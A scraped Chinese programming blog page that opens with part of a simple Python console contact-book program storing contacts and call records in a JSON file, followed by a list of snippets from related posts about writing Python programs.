            print('呼叫{}'.format(info['name']).center(20, '='))
            print('通话中...')
            self.data.remove(info)
            start_time = time.time()
            now_time = time.ctime()
            input('按e挂断电话>>')
            end_time = time.time()
            pass_time = end_time - start_time
            info['call_records'].append(now_time+"通话时长:"+str(pass_time))  # 将本次通话加入通话记录的列表中
            self.data.append(info)
            self.update_contact()
            print('通话结束')
    
        def del_contact(self, info):
            # 删除联系人
            try:
                self.data.remove(info)
            except Exception as e:
                print(e)
            self.update_contact()
            print('成功删除联系人: {}'.format(info['name']))
    
        def modify_info(self, info):
            # 修改联系人信息
            # info是该联系人信息字典
            if info in self.data:
                self.data.remove(info)  # 将所有联系人的列表中的该联系人删除,等修改好之后再后在重新加进去,然后更新通讯录
            menu = {'1': '修改备注', '2': '修改号码', '3': '删除通话记录'}
            while True:
                print('修改信息'.center(20, '='))
                for k, v in menu.items():
                    print(k + ' ' + v)
                command = input('请选择操作>>')
                if command == 'q':
                    print('返回...')
                    break
                if command == '1':
                    info['name'] = input('请输入备注>>')
                elif command == '2':
                    info['phone_number'] = input('请输入号码>>')
                elif command == '3':
                    info['call_records'] = []
                else:
                    continue
            self.data.append(info)  # 将修改过的该联系人信息加入所有联系人信息列表,以待更新通讯录
            # print(self.data)
            self.update_contact()  # 更新通讯录
            print('信息修改成功')
    
        def update_contact(self):
            # 刷新通讯录
            with open('contact.txt', 'w', encoding='utf-8') as f:
                try:
                    json.dump(self.data, f, ensure_ascii=False)
                except Exception as e:
                    print('操作失败:%s' % e)
    
        def add_contact(self):
            # 添加联系人
            # print(self.data)
            print('添加联系人'.center(20, '='))
            new_contact = dict()
            new_contact['name'] = input('请输入联系人备注>>')
            new_contact['phone_number'] = input('请输入号码>>')
            new_contact['call_records'] = []
            self.data.append(new_contact)
            self.update_contact()  # 更新通讯录
            print('成功添加联系人')
    
        def show(self):
            # 显示所有联系人
            print('所有联系人'.center(20, '='))
            contacts = {}  # 所有联系人的名字
            for i in range(len(self.data)):
                contacts[str(i)] = self.data[i]['name']
                print('{} {}'.format(str(i), self.data[i]['name']))
            command = input('请选择查看联系人>>')
            name = contacts[command]
            for data in self.data:
                if data['name'] == name:
                    self.person_info(data)
                else:
                    continue
    
    
    if __name__ == '__main__':
        a1 = Contact()
        a1.main_menu()
    

     

    展开全文
  • 用python读写excel的方法

    万次阅读 2016-05-11 14:54:48
    这篇文章主要介绍了用python读写excel的方法,涉及xlrd模块与xlwt模块的应用,具有一定的学习借鉴价值,需要的朋友可以参考下
  • 如何用Python写一个安卓APP

    万次阅读 多人点赞 2018-04-11 19:23:56
    前言:用Python写安卓APP肯定不是最好的选择,但是肯定是一个很偷懒的选择,而且实在不想学习Java,再者,就编程而言已经会的就Python与Golang(注:Python,Golang水平都一般),那么久Google了一下Python写安卓的APP...
  • Python开发 之 Python3读写Excel文件(较全)

    万次阅读 多人点赞 2018-10-17 10:17:52
    Python读写Excel文件xlrd包读取Excel文件 xlrd包读取Excel文件 用法比较简单。 import xlrd import xlwt import openpyxl from datetime import date,datetime arrayNum = 6 #array = {'L1':'','L2':'...
  • Python 一个安卓 APP

    千次阅读 2019-08-13 17:11:00
    作者:youerninghttp://youerning.blog.51cto.com/10513771/1733534前言 Python 安卓 APP 肯定不是最好...
  • 教你用Python写报表

    万次阅读 2018-11-17 19:19:31
    我们python有数量庞大,各种各样的库,那有没有一种库用来帮我们操作pdf呢,有的 ,reportlab 官方介绍: Generating PDFs from Wall Street to Wikipedia We build solutions to generate ric...
  • 用python写一个抽奖程序

    万次阅读 2018-10-22 12:51:29
    第一次使用python写程序,确实比C/C++之类方便许多。既然这个抽奖的数据不大,对效率要求并不高,所以采用python写,更加简洁、清晰、方便。 1.用到的模块 生成随机数的模块random 用来读取excel表格的模块xlrd ...
  • 你会发现哎呀Python写小游戏还是蛮方便的,蛮有意思的~~ 先看一下我们的最终效果图 我们分9步来讲解如何写这个小游戏 1.创建游戏的主界面 我们Python的内置模块Tkinter来完成了,它是Python...
  • 用python写网络爬虫-下载网页

    千次阅读 2017-08-05 21:49:04
    开始学爬虫啦,但是刚看书开头说本书以python2.7为案例讲解,很多模块未适配到python3.x,不过我看这本书的时候发现他说的很多没适配的模块基本都适配过来了,所以就决定用python3.6来,正好体会下3和2的差别
  • 用python完成简易名字管理系统

    千次阅读 2017-12-01 16:54:24
    用python完成简易名字管理系统 #1.打印功能提示 print("="*30) print("-"*5+"名字关系系统"+"-"*5) print(" 1.添加一个新的名字: ") print(" 2.删除一个名字: ") print(" 3.修改一个名字: ") print(" 4....
  • 如何 Python 个登陆窗口?

    千次阅读 2020-07-20 20:01:32
    最近在学习 PyQt5 GUI 编程,大致路线是找了套网课《撩课-Python-GUI编程-PyQt5》,以梳理思维导图的形式梳理了下基础知识点以及 QtDesigner 应用流程,跳过...
  • 用python写的一个串口调试软件

    千次阅读 2018-12-27 16:19:18
    分享一个pyqt5+pyserial给公司的串口调试软件 串口的发送和接收都是多线程的,实现界面UI与数据部分分离 支持hex发送与解析,还有定时发送功能 ui文件全是qt desinger的(界面简直简单的离谱!!...
  • 开始着手用Python写一个游戏脚本(一)

    万次阅读 多人点赞 2019-06-04 15:26:04
    学习python有一段时间了,由于python语言的强大和简洁,是一个不错的脚本语言,就准备做个游戏脚本练练手。 这次以热门手游楚留香作为练手的目标啦
  • 用python写一个学生管理系统

    万次阅读 多人点赞 2017-04-19 09:46:55
    在公司实习,每个月的作业,4月份的作业,无所谓哪种语言,一个学生管理系统,最好用python。我都没学过python呢,只好开始临时抱佛脚,再到网上找找有没有例子看看,下面是我参照另一个博主的,中间有一些和我...
  • 用Python写一个发邮件模块

    千次阅读 2016-05-28 01:08:15
    之前我过一个一次性使用的,但是发现工作中经常会用到这个功能,那么能不能一个通用的模块,放到Python的系统目录,每次需要使用的时候,只要导入包调用它就行了呢?环境和思路操作系统:Mac OS X EI Caption...
  • 用Python写爬虫入门篇(一)

    千次阅读 2018-11-27 10:31:18
    最近在学习python,这几篇博文用于个人记录总结,不正之处还望大佬指出。 先简单介绍爬虫的原理 概念 网络爬虫(又被称为网页蜘蛛,网络机器人,在FOAF社区中间,更经常的称为网页追逐者),是一种按照一定的规则...
  • 2018年python语言大火,这...我将按照正规的项目开发流程,手把手教大家python小游戏,游戏的名字叫做alien invasion! 安装pygame并创建能左右移动的飞船 安装pygame 本人电脑是windows 10、python3.6,pyga...
  • Python进阶(二十五)-Python读写文件

    万次阅读 2017-04-06 14:22:20
    Python进阶(二十五)-Python读写文件打开文件  使用open打开文件后一定要记得调用文件对象的close()方法。比如可以try/finally语句来确保最后能关闭文件。file_object = open('thefile.txt') try: all_the_text ...
  • 用Python写一个游戏脚本,你会吗?

    千次阅读 2020-05-06 15:12:30
    学习python有一段时间了,由于python语言的强大和简洁,是一个不错的脚本语言,就准备做个游戏脚本练练手。 听说pywin32脚本还不错 pywin32主要代码 我以楚留香的电脑版为例,记录脚本的编写之路吧。 因为主要...
  • 用python写一个微信自动回复

    千次阅读 2018-02-26 11:57:52
    最简单的一个小demo,可以自动...先下载一个python库itchat# coding:utf-8 import itchat from itchat.content import* import re @itchat.msg_register([TEXT]) def text_reply(msg): print('msg:%s'%msg['Tex...
  • 本期我们介绍如何使用Python来实现用户和机器之间的交流和对话 项目介绍:让用户输入姓名,年龄,体重,最后机器会输出一些转换话语 涉及知识:循环,条件语句,字符串的应用 # -*- coding : utf-8 -*- # @Time : ...
  • python代写一般多少钱-python代写价格

    千次阅读 2020-10-30 22:54:55
    有关于具体的装饰器的用法看这里:装饰器 -廖雪峰的官方网站(三)、简要描述python的垃圾回收机制(garbage collection)python中的垃圾回收是以引用计数为主,标记-清除和分代收集为辅。 引用计数:python在内存中...
  • 用python读写excel的强大工具:openpyxl

    千次阅读 2017-10-24 16:33:10
    最近看到好几次群里有人问xlwt、wlrd的问题,怎么说呢,如果是office2007刚出来,大家xlsx文件不习惯,还可以理解,这都10年过去了喂,就算没有进化到office...而且,既然都用python来操作excel了,还要手动保存一
  • C++为python写扩展库

    千次阅读 2008-05-04 14:28:00
    C++为python写扩展库-Boost.Python的简明入门指南 Boost.Python 是 Boost 中的一个组件, 使用它能够大大简化 C++ 为 Python 写扩展库的步骤,提高开发效率,为两种语言的混和编程提供了极大方便。...
  • 学习python没多久,所以只能一个很简单的爬虫啦~~ 我使用annacada 自带的spyder来爬虫的,这次我们要爬取得网站是http://www.drugbank.ca/drugs, 主要是爬取里面每种药物的信息到json文件中,包括有 DrugBank...
  • 用Python写个简单的推荐系统(一)

    千次阅读 2015-01-07 20:30:13
    本篇建立在电影评分的环境下,对多位成员通过各自电影评分...Python version3.4 1. 建立影评评分字典 电影种类6种:a,b,c,d,e,f用户7人: Cathy, Sophie, Susie, Antonio,Marco,Jack, Leo critics={'Cathy':{'a'
  • 用python写GUI相比C++好处多多:语法简洁灵活,不用编译,自动垃圾回收,等等。很让我这个c++程序员眼红,自然要好好研究一下。 如果纯python的方式很简单,qt或者wxwidget这个两个GUI库的python版本都已经很...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 215,153
精华内容 86,061
关键字:

如何用python写名字

python 订阅